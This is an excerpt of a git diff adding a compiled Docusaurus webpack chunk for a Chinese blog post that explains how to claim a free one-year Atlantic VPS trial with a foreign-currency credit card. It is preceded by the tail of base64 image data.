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"}}]); \ No newline at end of file diff --git a/en/assets/js/696228e8.baf1d2aa.js b/en/assets/js/696228e8.baf1d2aa.js new file mode 100644 index 0000000..123a8e0 --- /dev/null +++ b/en/assets/js/696228e8.baf1d2aa.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[5949],{5008:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/image-20251110162736930-faf786efbd7c0e71a6760e1ba4097a23.png"},27540:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/image-20251110163926943-a2a11a341f590635b7b6dba0ff5a2cf0.png"},28361:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/image-20251110163639675-6b03c7452ecb2e20bbbb67290adee270.png"},28453:(e,s,n)=>{n.d(s,{R:()=>a,x:()=>l});var t=n(96540);const i={},c=t.createContext(i);function a(e){const s=t.useContext(c);return t.useMemo(function(){return"function"==typeof e?e(s):{...s,...e}},[s,e])}function l(e){let s;return s=e.disableParentContext?"function"==typeof e.components?e.components(i):e.components||i:a(e.components),t.createElement(c.Provider,{value:s},e.children)}},30129:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/image-20251110162820407-28b34e0d6c9ca2c386f341e6bf1cf6c7.png"},36006:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/202511101525044-50ba89b683b00abae6e1533ee36e9be8.png"},40744:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/image-20251110163740314-ca164dc2200f2449e904219ecb446bee.png"},42928:(e,s,n)=>{n.r(s),n.d(s,{assets:()=>d,contentTitle:()=>l,default:()=>o,frontMatter:()=>a,metadata:()=>t,toc:()=>r});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/\u3010\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6\u4e00\u5e74 \u7f8e\u56fd\u3001\u52a0\u62ff\u5927\u3001\u82f1\u56fd\u7b49\u4e91\u4e3b\u673a","title":"\u3010\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6 Atlantic \u4e00\u5e74 | \u7f8e\u56fd| \u52a0\u62ff\u5927|\u82f1\u56fd|VPS\u4e91\u4e3b\u673a","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/11.\u516c\u4f17\u53f7\u6587\u7ae0/07.\u3010\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6\u4e00\u5e74 \u7f8e\u56fd\u3001\u52a0\u62ff\u5927\u3001\u82f1\u56fd\u7b49\u4e91\u4e3b\u673a.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/11.\u516c\u4f17\u53f7\u6587\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/\u3010\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6\u4e00\u5e74 \u7f8e\u56fd\u3001\u52a0\u62ff\u5927\u3001\u82f1\u56fd\u7b49\u4e91\u4e3b\u673a","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/\u3010\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6\u4e00\u5e74 \u7f8e\u56fd\u3001\u52a0\u62ff\u5927\u3001\u82f1\u56fd\u7b49\u4e91\u4e3b\u673a","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/11.\u516c\u4f17\u53f7\u6587\u7ae0/07.\u3010\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6\u4e00\u5e74 \u7f8e\u56fd\u3001\u52a0\u62ff\u5927\u3001\u82f1\u56fd\u7b49\u4e91\u4e3b\u673a.md","tags":[],"version":"current","sidebarPosition":7,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u3010\u9650\u65f6\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6\u4e00\u5e74ChatGPT Go\u5957\u9910 | ChatGPT Plus\u9752\u6625\u7248 | \u4f7f\u7528GPT-5\u66f4\u52a0\u4ece\u4ece\u5bb9\u5bb9\uff0c\u6e38\u5203\u6709\u4f59 \uff01","permalink":"/en/docs/personal/articles/free-chatgpt-go-one-year"},"next":{"title":"TscanPlus \u6388\u6743\u903b\u8f91\u5206\u6790\u4e0e\u4e8c\u8fdb\u5236\u8865\u4e01\u7834\u89e3","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u9006\u5411\u7834\u89e3/TscanPlus\u6388\u6743\u903b\u8f91\u5206\u6790\u4e0e\u4e8c\u8fdb\u5236\u8865\u4e01\u7834\u89e3"}}');var i=n(74848),c=n(28453);const a={},l="\u3010\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6 Atlantic \u4e00\u5e74 | \u7f8e\u56fd| \u52a0\u62ff\u5927|\u82f1\u56fd|VPS\u4e91\u4e3b\u673a",d={},r=[{value:"\u9886\u53d6\u6761\u4ef6",id:"\u9886\u53d6\u6761\u4ef6",level:2},{value:"\u5916\u5e01\u652f\u4ed8\u4fe1\u7528\u5361\u9886\u53d6\u6559\u7a0b",id:"\u5916\u5e01\u652f\u4ed8\u4fe1\u7528\u5361\u9886\u53d6\u6559\u7a0b",level:2},{value:"\u9886\u53d6\u5b9e\u64cd",id:"\u9886\u53d6\u5b9e\u64cd",level:2},{value:"\u6ce8\u610f\u4e8b\u9879",id:"\u6ce8\u610f\u4e8b\u9879",level:2},{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:2}];function h(e){const s={blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,c.R)(),...e.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(s.header,{children:(0,i.jsx)(s.h1,{id:"\u767d\u5ad6\u514d\u8d39\u9886\u53d6-atlantic-\u4e00\u5e74--\u7f8e\u56fd-\u52a0\u62ff\u5927\u82f1\u56fdvps\u4e91\u4e3b\u673a",children:"\u3010\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6 Atlantic \u4e00\u5e74 | \u7f8e\u56fd| \u52a0\u62ff\u5927|\u82f1\u56fd|VPS\u4e91\u4e3b\u673a"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(s.table,{children:[(0,i.jsx)(s.thead,{children:(0,i.jsxs)(s.tr,{children:[(0,i.jsx)(s.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(s.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(s.tbody,{children:(0,i.jsxs)(s.tr,{children:[(0,i.jsx)(s.td,{style:{textAlign:"left"},children:(0,i.jsx)(s.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(s.td,{style:{textAlign:"left"},children:"2025-11-10 18:33:19"})]})})]}),"\n",(0,i.jsxs)(s.p,{children:["\u5927\u5bb6\u597d\uff0c\u6211\u662f ",(0,i.jsx)(s.strong,{children:"\u5c0f\u738b\u8bf4\u5b89\u5168"}),"\uff01\n\u4eca\u5929\u7ed9\u5927\u5bb6\u5e26\u6765\u4e00\u4e2a",(0,i.jsx)(s.strong,{children:"\u91cd\u78c5\u798f\u5229"}),"\uff1a\u4f60\u53ef\u4ee5",(0,i.jsx)(s.strong,{children:"\u514d\u8d39\u83b7\u5f97\u4e00\u5e74\u7684 Atlantic VPS \u4e91\u4e3b\u673a"}),"\uff0cAtlantic\u662f\u4e00\u5bb6\u62e5\u6709\u8fd130\u5e74\u5386\u53f2\u7684\u7f8e\u56fd\u4e91\u8ba1\u7b97\u548c\u6258\u7ba1\u63d0\u4f9b\u670d\u52a1\u5546\u3002\u5728\u7f8e\u56fd\u65e7\u91d1\u5c71\u3001\u8fbe\u62c9\u65af\u3001\u7ebd\u7ea6\u3001\u5965\u5170\u591a\u3001\u963f\u4ec0\u672c\u3001\u52a0\u62ff\u5927\u591a\u4f26\u591a\u3001\u82f1\u56fd\u4f26\u6566\u7b49\u5730\u5747\u6709\u6570\u636e\u4e2d\u5fc3\u3002\u65b0\u7528\u6237\u514d\u8d39\u4e00\u5e74\uff0812 \u4e2a\u6708\uff09VPS ",(0,i.jsx)(s.strong,{children:"2G RAM\u30011CPU\u300150G SSD\u30013T\u6d41\u91cf"})," \u548c 50GB \u5757\u5b58\u50a8\u6d3b\u52a8\uff0c\u4ee5\u53ca2\u4e2a\u6708250\u5200\u7684\u989d\u5ea6\u3002\u9886\u53d6\u5730\u5740\u5728\u6587\u7ae0\u7ed3\u5c3e\uff0c\u5e9f\u8bdd\u4e0d\u591a\u8bf4\u6211\u4eec\u6b63\u5f0f\u5f00\u59cb"]}),"\n",(0,i.jsx)(s.h2,{id:"\u9886\u53d6\u6761\u4ef6",children:"\u9886\u53d6\u6761\u4ef6"}),"\n",(0,i.jsxs)(s.ul,{children:["\n",(0,i.jsx)(s.li,{children:(0,i.jsx)(s.strong,{children:"\u4e00\u5f20\u652f\u6301\u5916\u5e01\u652f\u4ed8\u7684\u4e2d\u56fd\u533a\u7684\u4fe1\u7528\u5361"})}),"\n"]}),"\n",(0,i.jsx)(s.h2,{id:"\u5916\u5e01\u652f\u4ed8\u4fe1\u7528\u5361\u9886\u53d6\u6559\u7a0b",children:"\u5916\u5e01\u652f\u4ed8\u4fe1\u7528\u5361\u9886\u53d6\u6559\u7a0b"}),"\n",(0,i.jsxs)(s.blockquote,{children:["\n",(0,i.jsx)(s.p,{children:"\u8fd9\u90e8\u5206\u53ef\u9009\u62e9\u62db\u5546\u7684 Visa \u5361 \uff0c\u8fd9\u4e2a\u662f\u5fc5\u8981\u7684\uff0c\u63a5\u4e0b\u6765\u6211\u8fd8\u4f1a\u5206\u4eab\u5176\u4ed6\u7684\u767d\u5ad6\u6559\u7a0b\uff0c\u6240\u4ee5\u9700\u8981\u7528\u5230\u6b64\u5361"}),"\n"]}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-tex",children:"https://cc.cmbchina.com/card/\n"})}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20251110152241394",src:n(36006).A+"",width:"2388",height:"1598"})}),"\n",(0,i.jsx)(s.h2,{id:"\u9886\u53d6\u5b9e\u64cd",children:"\u9886\u53d6\u5b9e\u64cd"}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20251110162736930",src:n(5008).A+"",width:"2982",height:"1276"})}),"\n",(0,i.jsxs)(s.p,{children:["\u767b\u5f55",(0,i.jsx)(s.code,{children:"atlantic"}),"\u7684\u5b98\u7f51\u6ce8\u518c\u8d26\u6237\uff0c\u5e76\u9a8c\u8bc1\u90ae\u7bb1"]}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20251110162625830",src:n(86706).A+"",width:"2574",height:"1474"})}),"\n",(0,i.jsx)(s.p,{children:"\u5982\u5b9e\u586b\u5199\u5730\u5740\uff0c\u548c\u5916\u5e01\u4fe1\u7528\u5361"}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20251110162820407",src:n(30129).A+"",width:"2628",height:"1446"})}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20251110163049139",src:n(92443).A+"",width:"2728",height:"1540"})}),"\n",(0,i.jsx)(s.p,{children:"\u70b9\u51fb\u5b8c\u6210\u540e\uff0c\u63a5\u4e0b\u6765\u4f60\u6ce8\u518c\u7684\u8d26\u53f7\u4e2d\u4f1a\u6536\u5230\u4e00\u5c01\u90ae\u7bb1\uff0c\u6211\u4eec\u70b9\u51fb\u9a8c\u8bc1\u652f\u4ed8\u65b9\u5f0f"}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20251110163224527",src:n(75473).A+"",width:"1932",height:"1332"})}),"\n",(0,i.jsx)(s.p,{children:"\u70b9\u51fb\u540e\uff0c\u4f60\u7684\u4fe1\u7528\u5361\u4f1a\u6536\u5230\u4e00\u7b14\u7ed1\u5b9a\u6263\u6b3e\u8d39\u7528\uff0c\u5e76\u586b\u5199\u5728\u8be5\u9875\u9762\u4e2d\uff0c\u5e76\u6839\u636e\u9875\u9762\u8981\u6c42\uff0c\u586b\u5199\u5bf9\u5e94\u7684\u4ee3\u7801"}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20251110163639675",src:n(28361).A+"",width:"1408",height:"1234"})}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20251110163740314",src:n(40744).A+"",width:"1834",height:"1386"})}),"\n",(0,i.jsx)(s.p,{children:"\u7a0d\u5fae\u7b49\u5f85\u4e00\u4f1a\uff0c\u5373\u53ef\u5ba1\u6838\u901a\u8fc7\u6210\u529f"}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20251110163819728",src:n(92014).A+"",width:"1692",height:"808"})}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20251110163926943",src:n(27540).A+"",width:"1766",height:"996"})}),"\n",(0,i.jsx)(s.p,{children:"\u5230\u6b64\u6211\u4eec\u7684\u8d26\u6237\u6ce8\u518c\u6210\u529f\uff0c\u4fe1\u7528\u5361\u4f1a\u6263\u96640.89\u7f8e\u5143\u7684\u6388\u6743\u8d39\uff0c\u8fc7\u51e0\u5929\u4f1a\u9000\u56de\u6765\uff0c\u6211\u4eec\u7b49\u5f85\u4e00\u4f1a\uff08\u6211\u5927\u6982\u7b49\u4e86\u534a\u5c0f\u65f6\uff09"}),"\n",(0,i.jsx)(s.h2,{id:"\u6ce8\u610f\u4e8b\u9879",children:"\u6ce8\u610f\u4e8b\u9879"}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20251110151606280",src:n(63373).A+"",width:"980",height:"336"})}),"\n",(0,i.jsx)(s.p,{children:"\u540e\u7eed\u65e0\u9700\u4f7f\u7528\u5370\u5ea6\u6216\u4f60\u5f53\u524d\u9009\u62e9\u7684\u5730\u533a\u8282\u70b9\uff0c\u5176\u4ed6\u5730\u533a\u7684\u8282\u70b9\u5747\u53ef"}),"\n",(0,i.jsx)(s.h2,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,i.jsxs)(s.p,{children:["\u5982\u679c\u4f60\u4e5f\u60f3",(0,i.jsx)(s.strong,{children:"\u514d\u8d39\u9886\u53d6\u4e00\u5e74 ChatGPT Go \u5957\u9910"})," \uff0c\u5219\u9700\u8981\u524d\u7f6e\u7684\u4e09\u4e2a\u6761\u4ef6\uff0c\u8bb0\u5f97",(0,i.jsx)(s.strong,{children:"\u5173\u6ce8\u5c0f\u738b\u8bf4\u5b89\u5168"}),"\uff0c\u5e26\u4f60",(0,i.jsx)(s.strong,{children:"\u89e3\u9501\u66f4\u591a\u9690\u85cf\u798f\u5229\uff0c\u73a9\u8f6c\u524d\u6cbf\u79d1\u6280\uff01"})]})]})}function o(e={}){const{wrapper:s}={...(0,c.R)(),...e.components};return s?(0,i.jsx)(s,{...e,children:(0,i.jsx)(h,{...e})}):h(e)}},63373:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/202511101525050-57ce8e6ebcccecda9566cfa94ae0079d.png"},75473:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/image-20251110163224527-881ea0d8206b63256b9ae2af427e1d60.png"},86706:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/image-20251110162625830-6a9cf6fcaa3e88c4c89ed3321eee2e71.png"},92014:(e,s,n)=>{n.d(s,{A:()=>t});const 